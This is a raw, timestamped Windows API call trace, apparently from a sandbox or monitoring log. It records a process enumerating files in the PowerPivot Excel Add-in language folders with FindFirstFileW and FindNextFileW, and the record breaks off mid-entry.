FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0282.608] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.608] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1681b941, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1095, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0282.608] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd7bf89, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd7bf89, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd7bf89, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xca90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0282.609] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7beb2bc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7beb2bc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39090, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0282.609] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d2b978, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0282.609] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf318faf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf318faf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fe030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0282.609] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf15d84bd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1697068, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2a98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0282.609] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ea37c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ea37c1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1d038, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0282.609] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d2b978, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0282.609] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5e43de4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5e43de4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6164f96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4bab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0282.609] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18ae17b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18ae17b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ae17b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47080, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0282.609] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a0a7fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a0a7fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a30a43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x54a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0282.610] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0282.610] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x69259a9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x69259a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69259a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a0a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0282.610] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6164f96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6164f96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x71088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0282.610] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4110038, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4110038, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x447d6b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MI5C38~1.DLL")) returned 1 [0282.610] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf126aeb1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf126aeb1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf12b7378, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0282.610] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefe99511, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefebf763, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e80, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0282.610] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2fa0ca2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2fa0ca2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2fa0ca2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0282.610] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1755c61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1755c61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0282.610] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1755c61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1755c61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0282.610] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0282.611] GetProcessHeap () returned 0xaf0000 [0282.611] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0282.612] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5612cee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5612cee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5612cee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ae38, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0282.612] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b5bbeb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-cyrl", cAlternateFileName="")) returned 1 [0282.612] GetProcessHeap () returned 0xaf0000 [0282.612] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0282.615] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b5bbeb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0282.617] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b5bbeb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.618] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1681b941, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0282.618] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaac403, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaac403, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1698075, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0282.618] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5e78ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5e78ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5e78ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x38aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0282.618] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x69259a9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x69259a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x694bc43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0282.618] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x718b80, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x718b80, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20b030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0282.619] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0c33db, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0c33db, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0282.619] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5ab054a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5ab054a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5ad675f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x22040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0282.619] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c46ba0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c46ba0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c46ba0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0282.619] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4d050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0282.619] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6164f96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6164f96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x49aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0282.619] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6bae279, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6bae279, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bae279, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0282.619] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc646a83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc646a83, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0282.619] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0282.619] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7beb2bc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7beb2bc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x75068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0282.620] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5f9c329, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f9c329, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f9c329, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MI5C38~1.DLL")) returned 1 [0282.620] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x51e6a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x51e6a31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x520cca6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0282.620] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffddb96c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffddb96c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffddb96c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4478, dwReserved0=0x0, dwReserved1=0x0, 